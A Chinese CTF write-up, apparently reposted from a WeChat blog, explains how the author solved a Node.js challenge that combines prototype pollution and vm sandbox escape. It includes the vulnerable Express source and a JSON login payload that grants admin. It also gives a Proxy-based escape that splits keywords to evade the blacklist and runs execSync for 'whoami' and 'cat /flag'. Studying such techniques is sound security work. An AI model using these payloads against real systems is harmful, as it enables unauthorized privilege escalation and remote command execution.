从一道CTF初识Node Js

admin 2023年11月4日03:01:31评论48 views字数 6224阅读20分44秒阅读模式
layout: post
title: "从一道题初识NodeJs"
subtitle: "关于一道NodeJs题目困扰了我48H没睡觉的故事"
author: "Novocaine ^ Rand0m#[email protected]"
header-img: "img/post-bg-dreamer.jpg"
header-mask: 0.4
tags:
- NodeJs
- CTF

0x01 前言

好长时间没做CTF了,朋友扔了个比赛,web方向常规php反序列化、Flask SSTI注入和Springboot题目已经有点索然无味了,一道Node JS 题目引起我的注意,这道题只有24Slove 并且有6个Hint(对着hint很容易做出来)

感谢月影师傅百忙中抽空跟我一起攻克这道题。

顺便吐槽互联网比赛用公共环境,有人把flag删掉了让我很恼火,希望大家别浪费其他人时间。

0x02 题面

题目叫做Easy Node.js Sandbox

题目源码

const crypto = require('crypto')
const vm = require('vm');

const express = require('express')
const session = require('express-session')
const bodyParser = require('body-parser')

var app = express()

app.use(bodyParser.json())
app.use(session({
   secret: crypto.randomBytes(64).toString('hex'),
   resave: false,
   saveUninitialized: true
}))

var users = {}
var admins = {}

function merge(target, source) {
   for (let key in source) {
       if (key === '__proto__') {
           continue
      }
       if (key in source && key in target) {
           merge(target[key], source[key])
      } else {
           target[key] = source[key]
      }
  }
   console.log(target)
   return target
}

function clone(source) {
   return merge({}, source)
}

function waf(code) {
   let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
   for (let v of blacklist) {
       if (code.includes(v)) {
           throw new Error(v + ' is banned')
      }
  }
}

function requireLogin(req, res, next) {
   if (!req.session.user) {
       res.redirect('/login')
  } else {
       next()
  }
}

app.use(function(req, res, next) {
   for (let key in Object.prototype) {
       delete Object.prototype[key]
  }
   next()
})

app.get('/', requireLogin, function(req, res) {
   res.sendFile(__dirname + '/public/index.html')
})

app.get('/login', function(req, res) {
   res.sendFile(__dirname + '/public/login.html')
})

app.get('/register', function(req, res) {
   res.sendFile(__dirname + '/public/register.html')
})

app.post('/login', function(req, res) {
   let { username, password } = clone(req.body)

   if (username in users && password === users[username]) {
       req.session.user = username

       if (username in admins) {
           req.session.role = 'admin'
      } else {
           req.session.role = 'guest'
      }

       res.send({
           'message': 'login success'
      })
  } else {
       res.send({
           'message': 'login failed'
      })
  }
})

app.post('/register', function(req, res) {
   let { username, password } = clone(req.body)

   if (username in users) {
       res.send({
           'message': 'register failed'
      })
  } else {
       users[username] = password
       res.send({
           'message': 'register success'
      })
  }
})

app.get('/profile', requireLogin, function(req, res) {
   res.send({
       'user': req.session.user,
       'role': req.session.role
  })
})

app.post('/sandbox', requireLogin, function(req, res) {
   if (req.session.role === 'admin') {
       let code = req.body.code
       let sandbox = Object.create(null)
       let context = vm.createContext(sandbox)
       
       try {
           waf(code)
           let result = vm.runInContext(code, context)
           res.send({
               'result': result
          })
      } catch (e) {
           res.send({
               'result': e.message
          })
      }
  } else {
       res.send({
           'result': 'Your role is not admin, so you can not run any code'
      })
  }
})

app.get('/logout', requireLogin, function(req, res) {
   req.session.destroy()
   res.redirect('/login')
})

app.listen(3000, function() {
   console.log('server start listening on :3000')
})

读题

题目考点在原型链污染+沙盒绕过,其中原型链污染常用的__proto__被加入了黑名单,熟悉javascript的小伙伴们都知道,"".__proto__ == "".constructor.prototype

那么可以用constructor.prototype来代替proto,关注一下注册逻辑,只要users变量中有username就会注册失败,赋值方式为users[username]=password

沙盒有个waf函数,过滤了很多方法,但是用很轻松的方式就绕过了。

解题1 原型链污染

在我最初的想法,希望通过这个赋值方式的问题来进行原型链污染,我尝试的payload如下:

{
"username":"constructor",
"password":{"prototype":{"admin":"1"}}
}

但是注册失败了,在debug过程中发现 constructor in users 为true,证明这种偷懒的方式不成立。

在重新阅读clone函数之后,发现merge是天然的原型链污染方法,我可以通过触发merge构造一个污染{}.__proto__的payload,则payload2如下:

{
"username":"admin",
   "password":"1",
"constructor": {
"prototype": {"admin": "1"}
}
}

继而又注册失败,在debug过程中发现merge处理时先处理了constructor部分,则处理到username时{}.__proto__已经被赋值,则username in users 依然成立,注册失败。

day2早上 月影师傅告诉我他原型链污染已经解决了,看到payload时我才意识到自己犯了多蠢的错误。

前文提到了merge是题目给出的原型链污染的方法,调用merge方法的函数不止有注册,还有登录,则我们只要注册一个账号,再使用登录进行原型链污染即可以admin的权限进行登录,正确payload如下:

(其实不用注册,当原型链污染结束时已经满足了admin in users条件。

login:

{
"username":"admin",
"password":"1",
"constructor": {
"prototype": {"admin": "1"}
}
}

现在使用admin 1 来登录题目环境就可以执行sandbox了。

题解2 sandbox

在sandbox环节月影做了个大概,觉得还是让我自己构造出payload更好,当然他的实力也足够拿到flag。

我只是略懂JavaScript,对nodejs并不熟悉,换句话说就算给我一个代码执行的入口,我也不知道哪些函数可以执行系统命令,为此我查了一下手册。

只要能执行到child_process.exec即就能执行rce了,在sandbox环境下使用child_process.execSync。

接着去查nodejs 沙箱逃逸相关文章:https://xz.aliyun.com/t/11859#toc-1

在题目中sanbox的关键代码如下:

        let sandbox = Object.create(null)
       let context = vm.createContext(sandbox)
       
       try {
           waf(code)
           let result = vm.runInContext(code, context)

vm.createContext 被传入了一个null object,如果传入的不是null,我们可以通过this.constructor... 但是这道题并没有给我们直接构造对象的空间,我们只得另辟蹊径。

好在上述文章给出了思路,只要我们在沙箱内定义一个函数接着调用,则arguments.callee.caller会为我们返回一个沙箱外的对象,即满足沙箱逃逸过程,但是我们仍需一个函数调用来获取arguments.callee.caller。

题目中的hint4内容也给出了思路:

通过 JavaScript 的 Proxy 类或对象的 __defineGetter__ 方法来设置一个 getter 使得在沙箱外访问 e 的 message 属性 (即 e.message) 时能够调用某个函数

参考文章给出的代码:

const vm = require("vm");

const script =
`
   throw new Proxy({}, {
       get: function(){
           const cc = arguments.callee.caller;
           const p = (cc.constructor.constructor('return process'))();
           return p.mainModule.require('child_process').execSync('whoami').toString();
       }
   })
`;
try {
   vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
   console.log("error:" + e)
}

payload中需要修改一些细节,因为waf函数的存在,需要用字符串拼接的方式来规避关键字检测。

throw new Proxy({}, {get: Function('const cc = arguments.callee.caller;const p = (cc.cons'+'tructor.cons'+'tructor("return proc'+'ess"))();return p.mainMod'+'ule.req'+'uire("child_p'+'rocess").e'+'xecSync("cat /flag").toString();')})

0x03 node js ctf相关考点

原型链污染

在javascript中对象的属性可以使用_proto_来访问,JavaScript在找不到对象属性时会去父类寻找,如果父类找不到时会去父类的父类寻找,则我们如果能控制父类的__proto__即可以控制子类的属性。

在上题中我们触发原型链污染的函数是merge:

function merge(target, source) {
   for (let key in source) {
       if (key === '__proto__') {
           continue
      }
       if (key in source && key in target) {
           merge(target[key], source[key])
      } else {
      //这里就可以修改{}.__proto__来控制 username in admins = true
           target[key] = source[key]
      }
  }
   console.log(target)
   return target
}

function clone(source) {
   return merge({}, source)
}

题目中的merge大同小异,有细微差别就考验各位JavaScript的功力了。

至于原型对象(prototype),即实例化后对象的__proto__,即一个函数拥有的属性。

如果访问一个对象的__proto__即访问了Object.prototype。

比如:

let a  = "aaa"

let b = "bbb"

a.__proto__.aaa = "123"

'123'

b.aaa

'123'

沙箱逃逸

懒得写,自己看

参考文献:https://xz.aliyun.com/t/11859


原文始发于微信公众号(頭髪的特計):从一道CTF初识Node Js

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月4日03:01:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从一道CTF初识Node Jshttp://cn-sec.com/archives/2175061.html

发表评论

匿名网友 填写信息